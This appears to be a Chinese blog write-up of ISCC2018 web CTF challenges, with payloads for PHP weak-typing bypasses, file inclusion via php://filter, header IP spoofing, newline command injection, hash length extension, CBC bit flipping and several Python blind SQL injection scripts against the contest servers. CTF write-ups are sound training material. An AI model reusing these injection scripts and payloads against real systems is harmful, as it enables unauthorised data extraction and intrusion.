ISCC2018 writeup(web)
比较数字大小
F12 修改maxlength为4

web01

strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言 在==比较的时候,如果有数值的话会先将字符串转换为数值在进行比较,而NULL转换成数值为0,所以绕过题目限制。
payload: get: /?password[]=1

本地的诱惑
右键查看源代码即可。
你能跨过去吗?

复制callback参数内容 base64解码得到<script>alert("key:/%nsfocusXSStest%/")</script> 复制key的内容 提交得到flag;

一切都是套路
访问/index.php.txt得到源代码:

变量覆盖漏洞($$):
get: ?_200=flag
post: flag=x

你能绕过吗

更改f参数的内容发现会报错,猜测是文件包含漏洞

用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。

web02

burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。

请ping我的ip 看你能Ping通吗?
根据题目要求 ping 猜测是命令注入漏洞,过滤了; & |等特殊符号 利用%0a(换行)进行绕过
用 ls / 命令查看目录

最后在 /home目录下发现flag payload: /?ip=127.0.0.1%0a cat /home/flag得到flag

Please give me username and password!
/index.php.txt 页面泄漏源代码,利用php弱类型进行绕过;
?username[]=0&password=1e9

SQL注入的艺术

点击个人信息页面,宽字节注入,可以盲注也可以联合查询注入。 当时写了个脚本盲注的。
import re
import requests cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for i in range(1,46):
for ss in list:
p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
u = requests.get(url+p)
if "head.jpg" in u.content:
cname += chr(ss)
print cname
break for i in range(1,23):
for l in list:
pp = payload.format(p='select flag from admins',m=i,n=l)
u = requests.get(url+pp)
if "head.jpg" in u.content:
flag += chr(l)
print flag
break

试试看
/show.php?img=1.jpg 复制图片地址 文件包含漏洞。
由于不包含.jpg文件提示File not found! resource可以包含两个文件 所以绕过
payload: php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。

Collide

直接给出源代码,由于key的值不知道 但是我们知道key的 长度为46,利用hash长度扩展攻击
编码后的username: guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin
用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb

Only admin can see flag
cbc字节翻转攻击
/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。
import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher)) jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i]))
print urllib.quote(base64.b64encode(newiv))
先用admiN 123456登录

在地址栏处回车(不要刷新,否则cipher 和iv会刷新)并用burp抓包。

将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。



复制报错信息中的cipher到脚本中 运行得到新的iv 修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag;

为什么这么简单啊

根据提示利用 xff ip地址伪造和referer 即可进入第二关。


右键查看源码,发现可疑js文件,浏览找到密码 base64解码 提交得到flag。

ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
解码得到: xinyiji.com

php是世界上最好的语言

用户名随便输 ,密码用php弱类型进行绕过 :QNKCDZO(可以看我之前写过的php知识点总结)
点击得到

利用全局变量打印出$flag变量即可。

Sqli
题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。


解密: u4g009

提示在另一个字段,(真他妈坑啊),这里直接联合查询注入就可以了。

顺便附上我写的垃圾盲注脚本
import requests tname = ''
pwd = ''
url = 'http://118.190.152.202:8011/index.php'
payload = "admin' and ascii(substr(({s}),{m},1))={n}#"
fuzz = ('0123456789,abcdefghijklmnopqrstuvwxyz') # for i in range(1,10):
# for k in fuzz:
# p = payload.format(s='select group_concat(table_name) from information_schema.tables where table_schema = database()',m=i,n=ord(k))
# u = requests.post(url,data = {'username':p,'password':'admin'})
# if 'normal' in u.content:
# tname += k
# print tname
# break for i in range(1,33):
for k in fuzz:
p = payload.format(s="select group_concat(pass) from user",m=i,n=ord(k))
u = requests.post(url,data = {'username':p,'password':'admin'})
if 'normal' in u.content:
pwd += k
print pwd
break
有种你来绕

根据提示,是mysql的数据库,利用mysql的特性--隐式类型转换,进行盲注得到密码。

写了个脚本跑出密码登录。

import requests url = "http://118.190.152.202:8019/login.php"
payload = "1'-(ascii(mid((passwd)from({0})))={1})-'"
password = ''
fuzz = 'abcdefghijklmnopqrstuvwxyz0123456789' for i in range(1,33):
for k in fuzz:
p = payload.format(i,ord(k))
u = requests.post(url,data = {'uname':p,'passwd':'admin'})
if not 'username' in u.content:
password += k
print password
解密: nishishabi1438 (我他妈想打死傻逼出题人)

输入flag,执行即可。

web400 Only Admin 是cookie注入,但是自己没怎么看,等其他师傅分享wp再学习一波吧。
ISCC2018 writeup(web)的更多相关文章
- ISCC2018(web)
ISCC2018 web writeup (部分) #web1:比较数字大小 只要比服务器上的数字大就好了 限制了输入长度,更改长度就好 #web2: 普通的代码审计,数组绕过 #web3:本地的诱惑 ...
- 2018国赛 - Writeup(待补充)
10.0.0.55 Writeup Web 0x01 easyweb 解题思路 题目很脑洞 用户名admin 密码123456进去可得到flag(密码现在换了) 解题脚本 无 Reverse 0x02 ...
- 三叶草极客大挑战2020 部分题目Writeup
三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...
- DDCTF-2019-writeup(7web+5misc)
一年前第一次参加了DDCTF,再次参加简单记录下web与misc的writeup Web Web1 滴~ 1.jpg参数可以包含文件,参数经过两次base64和一次16进制编码,将index.php编 ...
- ISG 2018 Web Writeup
作者:agetflag 原文来自:ISG 2018 Web Writeup ISG 2018 Web Writeup CTF萌新,所以写的比较基础,请大佬们勿喷,比赛本身的Web题也不难 calc 首 ...
- jarvis OJ WEB题目writeup
0x00前言 发现一个很好的ctf平台,题目感觉很有趣,学习了一波并记录一下 https://www.jarvisoj.com 0x01 Port51 题目要求是用51端口去访问该网页,注意下,要用具 ...
- 实验吧web题(26/26)全writeup!超详细:)
#简单的SQL注入 http://www.shiyanbar.com/ctf/1875 1)试着在?id=1,没有错误 2)试着?id=1',出错了,有回显,说明有注入点: You have an e ...
- Writeup:第五届上海市大学生网络安全大赛-Web
目录 Writeup:第五届上海市大学生网络安全大赛-Web 一.Decade 无参数函数RCE(./..) 二.Easysql 三.Babyt5 二次编码绕过strpos Description: ...
- XCTF攻防世界Web之WriteUp
XCTF攻防世界Web之WriteUp 0x00 准备 [内容] 在xctf官网注册账号,即可食用. [目录] 目录 0x01 view-source2 0x02 get post3 0x03 rob ...
随机推荐
- 百钱百鸡小游戏PHP代码
<?php // 计算小鸡的数量 $count=[]; // 第一个for循环计算公鸡 for ($gj=1;$gj<(100/5);$gj++){ // 第二个for循环计算母鸡 for ...
- Word操作之参考文献自动关联和引用
转载:https://blog.csdn.net/qq_40078121/article/details/88681605 编号选项->定义新编号格式: 选择插入->交叉引用选项: 然后选 ...
- Mysql 如何实现全文检索,关键词跑分
一.前言 今天一个同事问我,如何使用 Mysql 实现类似于 ElasticSearch 的全文检索功能,并且对检索关键词跑分?我当时脑子里立马产生了疑问?为啥不直接用es呢?简单好用还贼快.但是听他 ...
- Python数据可视化之Excel气泡图
最终实现的效果如图: 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做案例的人,却不知道如何去学习更加高深的知识.那么针对这三类 ...
- html中实现倒计时功能(setInterval,clearInterval)
倒计时主要用到的知识点:1.设置时间间隔的setInterval可以被clearInterval取消 2.毫秒转换为时分格式 这个是效果图 下面是js中的函数 var shijian=3600; va ...
- python小白入门基础(四:浮点型和布尔型)
# Number (int float bool complex)# (1) float 浮点型 也就是小数# 表达方式一floatvar = 0.98print(floatvar)print(typ ...
- 【图像增强】CLAHE 限制对比度自适应直方图均衡化
文章目录: 目录 1 基本概述 2 竞赛中的CLAHE实现 3 openCV绘制直方图 4 对比度Contrast 5 Contrast Stretching 6 Histogram Equaliza ...
- springBoot整合spring security+JWT实现单点登录与权限管理--筑基中期
写在前面 在前一篇文章当中,我们介绍了springBoot整合spring security单体应用版,在这篇文章当中,我将介绍springBoot整合spring secury+JWT实现单点登录与 ...
- SQL SERVER管理维护计划错误,备份错误,1053/3041/错误18204,严重性16,状态1
在sqlserv2008/2012里设置了管理-维护计划-备份计划,前些天遇到报错-1053/3041/错误18204,严重性16,状态1等:分享下解决方法. 1.在服务器执行任务报错 2.解决办法 ...
- 11 vue 自定义全局方法
//global.js// 定义vue 全局方 // 定义vue 全局方法 建议自定义的全局方法加_ 以示区分 export default { install(Vue, options = ...